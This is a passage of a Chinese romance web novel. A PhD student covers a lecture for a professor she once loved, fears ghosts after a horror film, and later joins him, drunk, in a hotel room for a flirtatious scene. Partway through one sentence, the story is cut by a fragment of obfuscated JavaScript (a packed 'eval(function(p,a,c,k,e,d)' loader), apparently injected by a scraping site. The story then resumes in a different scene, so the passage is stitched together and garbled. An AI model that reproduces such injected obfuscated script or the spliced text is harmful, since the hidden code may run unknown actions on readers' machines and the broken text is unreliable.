倪旖眼里带了冲撞开来的懵懂,洋溢着模糊的柔光。 课间十分钟,倪旖喝水时间脸色不太好。 蒋商鉴面无表情给她一罐糖,还有教职工卡以及U盘钥匙链,然后就拎着公文包离开了。 倪旖看着那罐糖果,有点失神,应该是手工做的,都在想象到他在研钵里把糖衣杏仁研碎,将粒状的粉末掺进黄色棉花糖粘稠液体,糖果玫瑰色浅浅的。 “学姐,好吃吗?”前排妹妹眼里全是渴望。 倪旖笑笑顺手将剩下几盒曲奇糖果分着吃,还依靠在一排跟小女孩聊天。 “学姐,蒋教授做的吗?好吃呀。”小姑娘抬眸眼里亮晶晶。 “好吃吧?”倪旖带点小炫耀。 后座女孩展示手机屏幕上校园表白墙总结的恩怨。 “……”倪旖语塞,慌乱转移视线想装死避免回答这种事情。 “有情况。”女孩火眼精金。 “宝贝们,我们得上课。”倪旖敷衍着转移话题,脸色有点僵硬。 “哎呦,学姐~” …… 倪旖被淹没在声浪里,只能凑近话筒解释道:“曾经见过,而已。” “哎呦~” 倪旖鸡皮疙瘩掉一地,将公选课海底世界录像调出来,点击播放键,顺便唠嗑道:“你们真八卦。” “他单身嘛?”前排女孩就是好奇长脑袋上,使劲问。 “单身,都安静,影响到隔壁教室上课了,一点都不文明!”倪旖食指比个嘘嘘姿势,随后做手势抹脖子威胁。 “学姐,可蒋教授左无名指有个戒指。”女生光明正大玩手机。 “……”倪旖紧张到细白的手摸摸索索从包里攥着个钥匙扣,上面缀一颗金黄小铃铛,晃了晃,伶仃悦耳。 “上面NJ两个字母。”女生对倪旖怀疑更重。 倪旖当然知道那个戒指,那是漫展她亲手制的,曾经她也以为这段关系会有这样那样的后续,但那十年,她很绝望,很绝望,那份原本可能实现是的希望逐渐枯萎了。 那十年,蒋商鉴在她记忆里慢慢模糊,但这三个字变成她的日常,在走下陡直漫长的自习室台阶时,在无所事事滑动联系人空旷朋友圈时,在临睡前,熄灭床前最后一盏阅读灯时……好多这样稀碎时刻,倪旖都感到蒋商鉴朝她微笑。 那成为她的支撑,她甚至都快习惯蒋商鉴的缺席,但是她知道无论蒋商鉴在或者不在,她都一秒不断地喜欢着,没有削减,没有增加,什么都没变似的。 只是,十七岁的她几乎用光了一生的泪,更糟的是,不止十七岁。 十年,她都快忘记是十七岁还是十八岁遇着蒋商鉴,时间太长久了。 可能这就是初恋的含金量吧。 无论以后有什么样邂逅,这种人只要勾勾手指头,轻描淡写道个歉,倪旖就会不顾一切跟随,因为她所有的从前和今后,都不私藏地赠送给了那人。 “宝贝,上课别说其他的,其他人还要看教学视频,收起来吧。”倪旖扭头快速擦干净湿漉漉到模糊视线的睫,恢复原来神态,眼里威胁意味十足,笑得猥琐又凶猛。 “蒋教授不在嘛。”学生不怎么怕倪旖,玩各种电子产品无视她。 倪旖气得想翻白眼,一个个比她没小几岁就总欺负人耍无赖,幽幽道:“精神与我们同在。” 海底蜘蛛蟹几个脚并用攀登岩石,随之大块崩坍,带着雪崩似的轰鸣声。 倪旖眼前掠过形状怪异的岩石,石林凝然不动的树影,盖着层地毯似的轴形草和银莲花,很快就被吸引注意。 小径上布满海藻和墨角藻,两者之间蠕动着甲壳类动物,蜘蛛蟹爬上岩,跨过倒下树干间晃荡的海生藤本植物。 简直太酷了。 倪旖看一半就下课,还得换教室去教大三选修班,叮嘱学生下堂课要考试记得带黑水笔以及a4纸。 倪旖拒绝学弟学妹合照,赶紧将东西收拾塞包里。 下节课那班进度快些,这节课前一小时得自备稿纸考试,题目在PPT展示,作为一次平时成绩记录。 倪旖攥着包就跟随学生潮流挤过去上课,她越想越气躁,至少可以把死去的鱼妹妹给处理好,隔两天估计得臭,很不尊重实验耗材。 倪旖到014地下阶梯教室,用蒋商鉴教职工卡刷开多媒体课桌,将u盘插入电脑插孔,摁着鼠标将考试题拉下。 “后面看得见吗?字体够大?”倪旖瞥一眼投影屏,手撑着下巴盯着电脑屏幕,U盘文件里全是各种文件。 倪旖瞥见有意思题目,还未发表,亚东鲑Salmo trutta生长性能的。 “你们蒋老师有事,我来代课,下周就过来。” 倪旖纠结不到两秒,预备着将文件偷摸着copy下课看看,绝对不是学术不端,就是单纯好奇,他这人哪来各种创造,脑袋总有新想法。 倪旖就这一翻,下篇文是产γ-聚谷氨酸菌株Bacillus siamensis LBY-7筛选相关的。 也不是国际期刊。 倪旖觉得这玩意估计给弄不出论文的学生,导师有时得实施学术救助,就是扶贫,蒋商鉴主修结构和分子生物,但水产养殖细菌学也还行。 倪旖唇角慢慢漾起笑意,转瞬又恢复正常,听见上课铃响,清理嗓音,轻声凑进话筒道:“我们先写试卷,学号姓名专业写左上角啊,字体大些,蒋老师年纪大,眼神不好。” 倪旖这班课程好些,下节课上半堂课就放海底世界纪录片。 倪旖下讲台顺着课桌缝隙溜达,看看有没有人需要帮助,选修课这些就无聊耍着玩,结课作业一篇论文。 “学姐,要抄题吗?” “不用,写标号就行。” 倪旖探头瞥学生考卷,破烂恶心,等会儿还得提示一番,不然平时阶段考试分数太低影响平时分,学期结束姓蒋的老东西得大开杀戒。 “认真考啊,蒋老师事儿多,爱挑刺找茬,挂科真麻烦要命。”倪旖仔细叮嘱着,就看着让人血槽爆发的试卷,还是想死,就蒋商鉴那懒东西,肯定得甩锅。 倪旖就溜达着,等同学一面写得差不多再上去翻PPT,一共三页题目,没选择题,专有名词解释,特定情形解答,开放问题求知等等。 倪旖不想下去监考,随他们作弊,等铃声响起便差使前排同学去收卷,先释放天性叹口气,将视频开关键点开,先放视频,懒得讲课,给蒋某自己讲。 倪旖仔细整理试卷,有两男生带着笔过来。 “学姐,我没写学号。” “自己找吧,别把其他同学小纸给弄掉啊。”倪旖神色不悦,刚才使劲提醒都能忘,典型沉迷游戏敷衍了事。 阶梯教室只剩风动,倪旖方松一口气,一路紧紧攥着的拳此时才松开来,攥得太紧,指节都微微有些泛白。 那男的小声说了一句调戏话。 倪旖眸色似燃着两簇幽暗火苗般的怒意,还得保持体面,使劲攥着铁边角,僵硬着看屏幕,捕鱼船首冲角划破乳白色波浪,在这肥皂般海水中滑行,海底水流和逆流间泡沫漩涡螺旋卷携。 等人走了后,茉莉花香气里夹杂着一丝薄荷脑油凉苦味,倪旖遇到为难烦忧之处,头疼郁结时就会用铁盒薄荷脑油抹抹手腕。 倪旖抬眸一看,蒋商鉴捧着手机待门边慵懒靠着,他身上有被雨水打湿的痕迹,湿漉漉的触觉让她焦躁惶恐的心渐渐趋于平静。 突然,倪旖心中掠过一丝模糊的悸动,想抓时又说不清楚是什么,神色微微恍惚,像是沉溺在往日欢愉回忆中。 倪旖心里微微发慌,暖暖的风把鬓角散碎发丝吹到脸上,一阵一阵地痒。 倪旖默然颔首,眼中多了几分旖旎温柔,登陆蒋商鉴学习通教师账号,发布位置签到任务,提醒道:“签到啦。” 收书包簌簌声裹挟清脆铃声,倪旖又叮嘱一遍签到,快速手收拾包,她的疲倦,而疲倦之中,亦有欣喜。 快要见暧昧对象可不得打起精神,倪旖恨不得飞奔过去,只是被学妹们堵住求合照,跟公园吉祥物似的贡献微笑。 倪旖胳膊肘朝外拐,偷偷给他使眼色,怕他在人群惹麻烦。 蒋商鉴很耿直道:“快点。” “老东西好凶,你们千万别挂科,不然我也救不了你们。宝贝们,下周见。” 倪旖只好礼貌道别那些学妹们,小跑着去他面前。 蒋商鉴指尖拂过她的脸颊,抬手捋起鬓角碎发,仿佛有一道滚烫气息随着他手指倏忽凝滞在她脸颊。 “干嘛?”倪旖惊心动魄,他的呼吸呵在耳边,痒酥酥的。 蒋商鉴没说话,顺着人流往外走。 俩人沉默一路。 “……”倪旖被堵得慌,熏暖和风微微拂过,缓缓搅动一树繁密杏花,花瓣点点飘落抚摸脸颊,“你听到了?” 蒋商鉴没说话,只是俯身拥住她。 倪旖伏在蒋商鉴胸口哭泣,小小的肩膀瑟缩着,起伏像浪一涨一落。 “嗡嗡——” 倪旖口袋里手机消息持续轰炸,便松开怀抱,滑动解锁后,一条一条消息从授课学生群弹出来,就是一个号被取消成绩不服,往上滑找到导火索。 蒋商鉴发的三张图。 第一张是授课老师取消选修课成绩具体规则截图。 第二张是学生中途逃课脸打马赛克图片。 第三张是签到纸质表截图。 倪旖觉得对乱开黄腔的男学生惩罚太重了,虽然确实过分,但也不至于重修这水了吧唧的选修课,但是新官上任三把火,杀鸡儆猴也不好说些什么。 毕竟那男生确实逃课还找人代签好多次,纸质签到表上姓名字迹都不同。 倪旖一直就当不晓得。 “毕业论文等会儿发给我。”蒋商鉴把人送博士宿舍楼下就走了。 深夜,蒋商鉴躲在车里,将车内照明灯按键全都关闭,人和汽车融为一体的鲸鱼似的,在跨海大桥的车辆深海里游曳,他脑袋里全都是倪旖的背影,他想倪旖,想吻她……他很胆怯,只能用桀骜不羁的脆弱外壳为不断靠近提供被原谅的借口。 蒋商鉴脑袋里产生幻觉,如果鲸鱼触礁搁浅会死,那车撞到隔离带也会死吧,他光是想想倪旖有别的男人,还不止一个,甚至有孩子,就很抓狂。 蒋商鉴记得,她说,不喜欢小孩,那是什么样的男人,让她甘愿生子呢? 那样的心理份量的男人同他擂台竞赛时,蒋商鉴会输吧? 他光是想想,就觉得痛苦,他甚至没勇气去尝试,他没勇气承担输掉的结果。 倪旖回宿舍懒散地趴桌面上,暖风熏然,直拂得人酣然欲睡,这边暖气还没停掉,睡到大半夜得热得全身是汗。 纸袋子里还有没洗的衣裳,倪旖就这么出神得去楼下洗衣服,等了半小时又溜达回宿舍里晾。 “韩式炸鸡和年糕,两罐啤酒,你今天状态不咋对呀?”隔壁宿舍朋友贾思雅捧着个纸盒展示宵夜,眼神也略微疲惫。 “没事。”倪旖不乐意说。 贾思雅实在想不到傻妞能有什么烦恼,毕不了业在她那儿都没事。 室内光线暗淡,只有盏小台灯在这平时朦胧昏暗的房间里投下一圈黄色的光影,倪旖脸颊瞬间红透顶。 “爽不爽?”贾思雅胳膊肘捣她,笑得猥琐变态。 “什么啊? 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“嗯,我在想,我二婚时一定把崽带走。”倪旖一嘴巴碎薯片,咔吃脆。 倪旖指纹解锁电脑,点开网页浏览视频界面,眯着眼睛扫视一眼缴费要求,冲半个月会员后就开始搜索国产鬼片,没什么好看着,只好找澳门威尼斯盗版网站找国外未删减原片在线观看。 “你一个后妈操这心,蒋教授能接受嘛?”贾思雅咕哝一声,指着目标影片让倪旖点击观看。 “你们不要拉郎配,我跟他没关系。”倪旖很反感隐私被观摩,瞬间皱眉。 “哦哦。”贾思雅乖乖回自己宿舍搬凳子,回来后就坐一边靠在倪旖肩膀上看鬼片,满嘴包着爆米花使劲咀嚼,屏幕上那女鬼头发好旺盛。 倪旖滑动手机,点击接通视频电话。 “嗨,妈咪!我想你了!”小虫草端着平板就使劲亲屏幕。 “我也想你啦,今天吃几碗饭饭?”倪旖看崽就跟亲生似的疼惜。 “两碗饭饭呢,妈咪有没有按时吃饭饭呢?”小虫草手舞足蹈比划着。 “你妈咪不好好吃饭,快骂她。”贾思雅凑个脑袋给小虫草打个招呼。 “雅雅姨,晚上好,你没化妆也好漂亮啊。”小虫草嘴巴甜。 “下次见面请你吃肯德基。”贾思雅心花怒放,咀嚼炸鸡块都更带劲了。 “谢谢雅雅姨。”小虫草翻个身,突然一愣,抬眸瑟缩,“爸爸?” 倪旖看到小虫草那瞬间恐惧就很心疼,丁越青跟崽不亲,老是板脸,很凶。 “丁越青!”倪旖叫一声。 “嗯?”丁越青声音沙哑,扯领带的手青筋紧绷,醉醺醺的,脸颊酡红。 “你别吓着崽。”倪旖皱眉,见他身心俱疲模样也不好指责,“怎么喝酒了?” “没事,就有点烦。” “让Annie煮点醒酒汤,不要老喝酒,听见没?” “嗯。”丁越青眼睛猩红,踉踉跄跄就拎着西服外套出门。 倪旖松口气,安慰崽:“小虫草,要是妈咪跟你爸爸离婚,你愿不愿意跟我走?” “可以嘛?妈咪愿意不丢下我?”小虫草眼里满是喜悦。 倪旖搞定崽后就顺嘴聊几句继续看电影。 “伽椰子所有能力为:免疫物理、无限复活、无限分身……”贾思雅飞速蹦珠似的介绍着,身体排斥性往后躲着。 “啊!”倪旖就要跑,被她拿皮带绑椅子上看完一二季,精神都快崩溃,满眼泪珠。 等到睡觉时候,那坏东西拍拍屁股就走人。 倪旖洗漱结束都不敢关灯,钻窝里把被子裹得很紧,把被子边全压住,觉得伽椰子没法钻进被窝。 电闸十二点跳了。 风雨淅淅沥沥入耳,倪旖越是害怕得想蜷缩成一团,越是极力绷直手脚,身体已经僵硬。 倪旖快速从枕边掏手机给置顶联系人拨通电话。 “嗯?” 蒋商鉴不怕鬼。 倪旖声音像是从喉咙逼出来似的不真实,幽幽一缕呜咽飘忽,微带哭腔,委屈撒娇道:“我看了鬼片,我睡不着。” “倪旖,你可以给你老公拨通电话,我们半夜通话不好。”那人拈酸带醋,喝酒后醉醺醺的躺床上,他就算得知倪旖有孩子后很崩溃,但现在也保持礼貌。 有暗影在床帘前摇晃,依稀是个女人,垂散着头发。 倪旖瞬间窒息,颤着道:“谁?” 倪旖身上涔涔冒起冷汗。 黑影肆意笑,笑声随着内心无法言说的恐怖迅疾弥漫在整个宿舍里。 那手靠得愈发近,作势便要撩开床帘。 “倪旖,我在,不怕啊。”蒋商鉴摸着台灯瞬间清醒,担忧胜过吃醋。 倪旖骇得怕是头发全竖起来,头皮一阵阵麻,胡乱摸索着充电宝,盒装牛奶,单词本……猛地一把抓起,掀起帐帘向那影子用尽全力掷去,哐啷啷地响。 “痛。” 倪旖往下一看,是贾思雅。 自己脚踝隐隐发痛,红一片,地板上有破裂陶瓷杯。 倪旖摁手机照亮,试探道:“是你吗?你别装啊,我怕~” “痛死我,妈的,我梦游啦?估计精神压力太大,送我去医院,头给你砸出个窟窿。”贾思雅揉腰痛得不行。 倪旖硬是不敢动,伽椰子有幻境攻击,指不定就是诱骗,死死捂被窝里不敢出来,被衾很凉,风雨大作,敲打着树叶哗啦哗啦响。 依稀有人在叫名字——倪旖!倪旖!蒋商鉴没这样唤过,感觉陌生而疏离。 倪旖害怕问:“商商,我怕。” “我这就开车过来。”蒋商鉴来不及换睡衣就披件外套攥着车钥匙就下楼,脑袋昏昏沉沉,走到半路才发现喝醉酒。 倪旖满头满身的冷汗,微微平了喘息道:“你醉酒了,现在我很安全,朋友她找人送医院了,现在我一个人在宿舍,很怕,说个笑话给我听好不好?” 蒋商鉴顺着原路返回,轻言细语道,“有一根火柴走在街上,他觉得头痒痒,就挠啊挠啊挠,结果他就着了。” “一点都不好笑。”倪旖嘟囔着,神经还紧绷着。 “倪旖,我对象送我去医院,你一个人在宿舍得怕死,我先下楼等着。”贾思雅拿纸巾捂着脑袋,一手揉着腰满脸疼痛。 倪旖才不理伽椰子,将被窝裹得严严实实道:“我怕。” “我在呢,再继续说,那根着了的火柴去医院包扎,结果他成了棉棒。” “好冷。” “多盖点被子。” “我是说你的笑话。” “再继续,火柴包扎好走在街上,结果他发现鞋带开了,就弯腰系鞋带,然后他的腰就折了。” …… “明天九点开组会,记得叫醒我,困困的,我要睡觉。”倪旖脖颈低下来,碎发遮住饱饱的额,迷迷糊糊就睡着,蒋商鉴在,她不怕。 她不知道的是蒋商鉴醋得要命。 倪旖第二天组会迟到了,幽怨望着严肃批评她的隔壁新导师蒋某。 也不知道蒋商鉴发哪门子疯,骂完之后已经一个月没跟她说话了。 他们每天都见面,但除了公事,他俩连顶嘴互怼都没有。 57.捉奸 十月末尾,夜晚,倪旖正躺床上陪好大儿小虫草读儿童绘本呢。 “嗡嗡——” “妈咪,师哥电话,师哥是谁?”小虫草把手机接通后递给倪旖。 倪旖见那挂断的电话,以及一条简短消息,来不及多想,蹙眉一路小跑在门口招呼私家车司机就去。 “市南区中路9号,麻烦快点。”倪旖急得眉头紧皱,握着手机发消息,打电话可是对面都不接通,嘟嘟嘟几声就自动挂断。 “好嘞。”司机猛踩油门。 倪旖因为惯性直接背后靠着座椅,现在都懒得骂人只想赶紧去目的地。 夜晚昏沉,经过一小节绿化带就去装修奢侈的酒店,倪旖特看不上这类鸡肋的五星级酒店,装修豪华的跟个暴发户似的,一点没有内涵。 倪旖攥着包,一阵龙卷风似的,就去前台要张卡去1306房间,她一路上都没法反思,每次他的消息小圆点提示查看就像夏天尚未到来时只露了一二丝的烫意,试探她是否还记得这个旧情人。 而她生理驱使控制关注并收集他一点一点行踪轨迹,每次瞅着那张朝思暮想的脸,都会不受控,这是无法解释这种似曾相识又倍感陌生的感觉……也无法讲明那种既清晰又空洞感觉。 “蒋商鉴,还没死?”倪箴想贴卡后立刻一脚猛踹开门,然后防止丑事外扬似的把门轻轻关上那瞬大声叫嚷。 可刚贴上房卡,迫不及待急躁地吼了一声,就去推门—— 门竟然一下子开了,就像中世纪的童话故事当中那样。 她还没来得恐惧那捉奸在床那的窘迫。 这着实令他她震惊。 光明正大叫来她嘛? 倪旖愤怒再次升级,脚步加速,一脚踹翻了一把黑皮沙发椅,即使脚下是软面羊毛地毯,响声闷闷的。 门刚打开时,一股浓烈的血腥味混合着上床后的淡淡腥味就毫不掩饰扑进鼻腔。 倪旖难过到愤怒,脑袋一片空白,没来得萌生想哭念头,黄豆粒那么大的眼泪就滚落,炽热砸在地板上。 倪旖气得发晕,几步快走就跨到懒散瘫坐在沙发上的蒋商鉴面前,一把揪起他衣领,可还是没狠心到砸他那张潇洒俊秀的脸,咬牙道:“叫我来就是看你乱搞?” 蒋商鉴抬眸时微微发愣,那种微醺下朦朦胧胧爱意毫不遮掩跟着每个会呼吸的毛孔几乎暴虐席卷似的散发。 倪旖泪水就像暴雨倾盆下的玻璃窗,一整面一整面滑落。 上次这样哭还是在那好似透明水彩画般里维埃拉黄昏中,一座利古尔山脚下芬芳馥郁的余晖,一些金黄色蠓虫悬在一道玫瑰盛开的树篱四周。 倪旖就这么不经意摔破膝盖,在毛茸茸的温暖里哭得像泡在海水里那么蓝。 那时,倪旖晓得蒋商鉴偷偷过来看她。 一下午,俩人隔着百年苹果树,就躺在草碰上,静静呼吸着。 倪旖披着一头蓬松且从未染过色的黑发,穿着一条垂到脚踝的纯白色睡裙,普通得不能再普通,裙边还稍稍打着卷,像嫩嫩的荷叶自然舒展着。 他干嘛呢? 居然无视我还在发呆想炮友? 该死! 我要抽动电锯砍了他手脚囚禁在法罗斯白塔! 倪旖越想越憋屈。 蒋商鉴看着他她气得通红的嘴唇,心里直痒痒,鬼使神差就抬手卡住倪旖的下巴,用大拇指的指腹摸了摸温软的下唇,喃喃:“太嫩了,真好玩儿。” 咦,倪旖预期中也坚硬有力的拥抱居然没到来。 为什么会有软绵绵的触感?蒋商鉴发愣,跟逗猫似的用手抓了两下她气得不经意嘟起来的脸颊,好软,好香,像两颗弹跳的芋泥麻薯。 倪旖狠狠捶了下他肩膀,拒绝他招嫌的手,蒋商鉴这张嘴,能活活气死她,便愤然跳起来,猛地一个贴脸威胁,怒道:“哪摔了?” 虽然嘴巴恶毒,可是手指却不受控制,倪旖就像跟他大半辈子的妻似的,自然而然抬手揉揉他脑袋,给他顺头发,系好散乱领带,用手掌抹平衬衫上皱褶。 “腰。”蒋商鉴刚喝了点酒,声线温柔沙哑,带着一点点老情人般的撒娇。 倪旖真是难以组织语言,张开嘴巴也不知说些什么好,只是眨了眨眼,眼泪就从睫里掉下来,最后也只是淡定点了点头,脸就像一堵铜墙,从里面拦住情绪。 她跟蒋商鉴关系最好的,形影不离,他一声不吭就逃跑后,她用了十年时间忘记他这个背影,失败后,又拼尽了努力去接近、再接近,然而也不过如此,蒋商鉴现在能跟不记得名字的女人来段一夜情,唯独对她,招惹又完璧归赵的。 倪旖真觉得蒋商鉴很残忍,宛如一台令她恐惧的完美机器,高度精准地制造令她血淋淋受伤的事件,眼睛落在他脸上不肯挪开,微醉的上上,额前微微长的卷发有些缭乱,呼吸时勾勾缠缠,眯着眼睛倦怠,慵懒带着些许颓废。 “倪旖,你有孩子了?”蒋商鉴眼里垂着点失落。 就算如此脆弱的时刻也没削减他那种难以捉摸的贵族气质:一种拥有巨大财富和禁止他人接触的气场。 蒋商鉴这些年真出息,他在努力嘛?是因为理想,还是因为要与她相配? “……没。”倪旖下意识矢口否认,脸上是一种从来没有过的羞涩的歉意。 “你是认真的?”蒋商鉴揉揉发皱的眉。 “你是指?”倪旖没太明白。 “不懂?”蒋商鉴跟她玩谜语呢。 倪旖胳膊肘一捣鼓他胸膛。 蒋商鉴瞬间胸口一痛,连自己都没意识到正在叹息,习以为常感慨:“你要是男的,至少会蹲一次监狱。” “绝对不可能,我讨厌被关起来。”倪旖嘴巴厉害遇着师父果真怂包起来。 “蹲监狱的人是愿意被关才进去的?”蒋商鉴将人搂在怀里轻晃着。 “因为不懂自控嘛。”倪旖躲开他的拥抱,怯生生道,靠在墙壁拐角缝隙处。 “稍等片刻,我洗个澡。”蒋商鉴颤颤巍巍扶着腰起来,踉跄两步去淋浴,随手将燃着的烟蒂放到烟灰缸里,再剥了一颗薄荷糖放进嘴里。 一般来说,五分钟之后,那颗薄荷糖将会成功带走残留在他口腔的烟味,他不想带一身烟味跟她说话。 倪旖听着淅淅沥沥的洗澡声,捂着手机反复揉搓,坐在沙发上无聊要命,便开始观察这酒店顶级豪华套房,很基础普遍设施,最重要的是,垃圾桶。 倪旖四处搜寻垃圾桶,瞅到卧室阳台那处目标物,一路小跑凑上去,跟个变态似的看看里面是不是有那个啥,过于偷偷摸摸,等他淋浴后一拉门吓得那叫一激灵。 倪旖长这么大,没几个人敢这样踩脸挑衅她的,偏偏有火还不能尽情发泄,让她此刻心脏格外憋闷,本来脾气就没好到哪里去,现在简直快气炸了。 掐死他! 倪旖再次萌生杀人放火心思! “小嗯——”蒋商鉴黏黏糊糊唤一声。 倪旖还没等转身,蒋商鉴就粗暴搂着她。 虽然粗暴但是被牢牢护住,倪旖先是撞到右边墙上,扶着腰肢被护着防住撞痛,还没反应过来,热乎乎的嘴唇就快凑上来,生理条件反射下,连忙躲开。 最终还是没吻到唇。 蒋商鉴瞪大了眼睛难以置信,随后眼里满是失望。 倪旖察觉他近乎失态的难过,便踮起脚尖吻了吻他震惊时微微张开的嘴角和滚烫的耳垂。 蒋商鉴瞳孔微微放大,侧眸,难以控制颤动指尖。 那眼神就有一种童稚的喜悦无处不充盈。 像为了刻量时间而慢慢绽放的小雏菊。 一点一点,分分秒秒,野草舒展嫩芽声音似乎很大。 倪旖心脏像是被圈禁的囚徒,终于寻得援助,迫不及待跳到嗓子眼,无可奈何便闪躲解释:“商商,你现在很醉,等醒了再说。” 一个恋爱失败的人只得闪躲,连眼神都不敢对视一微秒钟,不敢出一点细微动静,但凡眼睛看得见、耳朵听得见的人,都可以得知她这任何人都无法保守秘密。即使她缄口不言,她的眼眸也会说话,她的每个毛孔都会渗透出爱慕他的信息。 “我很清醒,你是倪旖,我的倪旖,是我的生命,同时也是我的灵魂。”蒋商鉴就围了条浴巾,此时腰紧紧压着她,俩人不留余地地贴在一起。 没有渣男比他渣得理所当然、清丽脱俗、花样百出。 明知道他的甜言蜜语都是假的,也愿意沉醉在那一刻的温柔里。 倪旖有时候都怀疑她自己是不是蒋商鉴的一个情人。 那种普罗大众意义上的情人。 “我不玩。”倪旖小声嘟囔。 “不给我玩儿,你给谁玩儿。”蒋商鉴抬手勾勾她下巴,轻轻挠她软软的唇。 被他渣感觉是赚到了,倪旖想,整个人被搂在怀里,那温热的唇急躁想要贴上来,被一下瞪回去,为了缓解尴尬只得随便瞎说:“嗯~楼下酒店门口人好多,还不少未成年呢。” “小嗯,你看,门,那是关的,酒店的门只要关闭,再大的动静都没人打断的。”蒋商鉴抬眸望着远处回廊那禁闭棕红木,唇角勾起一丝不易察觉的笑意。 “就你有经验!”倪旖鸵鸟主义者人格上线。 蒋商鉴满不在乎,拉长声线,带着勾引意味:“好像不单我有,宝贝不是看见个男人就想关心嘛?” “我没,我没,我至少没带异性从业者回酒店!而且我觉得你没那么丧心病狂!”倪旖急躁死,争辩了好久。 蒋商鉴斜斜一笑,唇红齿白,露出一双含情脉脉的眼睛,呼吸时肌肉肌理微微起伏:“还总是这样?在街上不敢亲,你这是把自己当成未成年保护协会会长吗?再说,酒店里,亲一口算什么?酒店里,你觉得一个成熟男人会对个漂亮姑娘做什么?” 两人之间是近得几乎要贴上的距离,但倪旖此刻正义得可怕,把乱糟糟的设想给驱赶得一渣不剩。 倪旖抬眸时望见蒋商鉴脖颈的簇新又闪亮的精致小铃铛项链,像系在小宠物狗狗脖子上的小铃般叮当作响,那是她恋爱时送给他的恶作剧礼物。 “倪旖,我们现在很合适的。”蒋商鉴喝了点酒醉醺醺的嗓音缠绵着。 倪旖不适应这暧昧气氛,鸡皮疙瘩掉一地,偷偷摸摸嘀咕:“这难道就是渣男渣女一起去死,简直婊子配狗天长地久?” 蒋商鉴笑笑,亲昵凑上去:“要不接个吻?” 在微微昏暗狭窄的空间里,声音缠绵,呼吸悱恻……等倪旖面红耳赤地把脸颊撤回去。 扒开他胳膊小缝儿透气的时候,蒋商鉴追寻她视线时眼镜有些滑下来了。 再次这么近距离直接看着他的眼睛,眼眶深深凹陷,很深邃的眼神,像是极端台风气象时海面一圈一圈旋转的水涡,看一眼就要被吸进去。 “嗯?”蒋商鉴等着她回答问题。 伴随着这温柔的声音,倪旖躲避时胡乱闪躲的目光落在了他身上:“你醉了,现在没完全考虑清楚,也没真正解决横亘我们之间的核心矛盾,要是一时冲动,就算只有接吻,我们第二天醒来该怎么收场?我再装作无所谓?你不理智,我得控制你的热血上头。” “我们以后不冷战好不好?”蒋商鉴嗓音粘腻。 “那火拼?”倪旖奇葩脑回路。 “西部片牛仔客栈?”蒋商鉴再次被带跑偏。 “嗯,骇客帝国那种。”倪旖点点头,再一次俩人同频共振。 蒋商鉴抓着她抵抗的手,用力喘着气,用了好大理智才打压下去。 不知道为什么,此时蒋商鉴只感觉一点也不吃惊,反而变得冷静,就像有一只冰冷的手放在额上,周围的一切如同退潮般离身体而去。 他其实足够了解这人,看得出她故作泰然的眼神里夹杂着落寞,甚至还有一丝轻蔑。 要是有个人妥协,他俩立马修成正果,蒋商鉴自嘲。 倪旖跟他是极为相似的,都是为达目的不择手段,但对于珍贵事物是近乡情怯的,骨子里就不太认真,但又太过认真。 他很荣幸,又或者不幸,与她相爱,蒋商鉴曾经有个时期像条狗一样被她拉去轮流见她所有朋友和同辈亲戚,连个不认识的清晨保洁阿姨都会被介绍:这是我朋友。 朋友,好普通的词,可说时倪旖那种眼神和语调都是快乐和羞涩,一个傻子都看出来所谓朋友就是喜欢的人。 “你不是约了人?”倪旖脸颊发烫,垂眸时眼里全是生理性羞涩,那种眼神是自己没意识到的习惯。 “没,我等你好久了。”蒋商鉴确实没在倪旖来之前瞎搞。 “那这味道?”倪旖直接展示白眼。 蒋商鉴举起左手展示一下。 “嗯,”倪旖无奈笑笑,在他还没开发五姑娘时,她就已经陪在他身边,对他无条件相信的,就算被不经意间甩过一次,“送你去医院?” “不用,你拿跌打扭伤药水给我抹抹,想抹哪里就抹哪里。”蒋商鉴松开手,随后懒散躺在床上。 “你暧昧!”倪旖笑笑,蒋商鉴那身材确实让人挪不开眼,好漂亮的肌肉,很有力量。 他国外曾是自由泳运动员,那种跟专业选手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嗯。”倪旖偷偷摸摸咽口水,感受瘦劲肌肉在掌心像浪似的起起伏伏,在他慢慢牵着她手往下时,立刻察觉到不对劲儿,他有反应了? “干嘛?”倪旖赶紧缩回手。 “它说爱你。”蒋商鉴耸耸肩表示无辜。 其实,是蒋商鉴好爱你的。 倪旖刻意保持冷静,还深深吸一口难闻要死的药酒,使劲啪一下给他腰间一巴掌,故意冷冷呛声:“放屁,哪儿痛,我给你搓点药酒。” “左边一点——”蒋商鉴淡淡定定使唤这个难得顺从的小丫鬟。 倪旖满脸不悦可手上动作还是挺实诚的,顺着他要求的方向挪过去。 “右边一点——”蒋商鉴颐指气使模样特神气,就等着看她炸毛顶嘴。 倪旖深深吸一口气,继续听他吩咐移动位置。 “上——” 蒋商鉴话刚出口一个字就被她要杀人的眼神给警告,瞬间好快乐。 “你丫闭嘴,”倪旖还没真的生气,动作还是跟随他使唤,嘴巴里嘀嘀咕咕全是脏话,“你要是有骨气,就自己来!” “嗯~我最没骨气。”蒋商鉴抬手自然而然,就跟无数次那样似的,抚摸她皱起的眉,连简短几个字都带着撒娇。 倪旖慢慢舒展开眉,唇角微提,小声呢喃,就跟撒娇似的嗔怪:“还有哪里痛?” “倪旖,我的心真的好痛。”蒋商鉴拽着她掌心覆盖在他胸口,语气认真,眼睛朝下直盯着她那饱满的脑门和调皮翘起来的呆毛,她一定能够看出他低垂眼睛里那种异常孤独的渴望神色。 不得不承认,倪旖给予的爱是细水长流的。 同时,倪旖给予的痛苦也是细水长流。 对倪旖的爱总是藏着掖着,情绪上头时用一点点小玩笑去撩拨,平时那常燃小一直在摁在心脏地下室里燃着,只要自己心里的扭转温度调节器一触动,一小股熟悉的暖流立刻就会悄悄地迸发,渐渐的,渐渐的,包裹心脏。 倪旖做错事模样抱歉道:“商商,你很在意?” “嗯,我很在意。”蒋商鉴握着她手掌在自己胸膛抹开药水,鼻腔里满满都是奇怪难闻的中药味,极其浓郁。 “你现在知道难过?”倪旖抬眸只一瞬便低下来。 “嗯,我很难过。”蒋商鉴浪荡不羁一点都不在,现在只有破碎感。 “抹完药,就睡觉,明早要是难受厉害,再去医院,我还——” 还没说完,就被打断。 “你不陪我?”蒋商鉴湿漉漉的眼睛真的很让人心疼,抬手揉揉她的长发,发质很好,就像敷着一层有光泽的薄膜,从未烫染过的黑发从他指缝间顺畅地滑下。 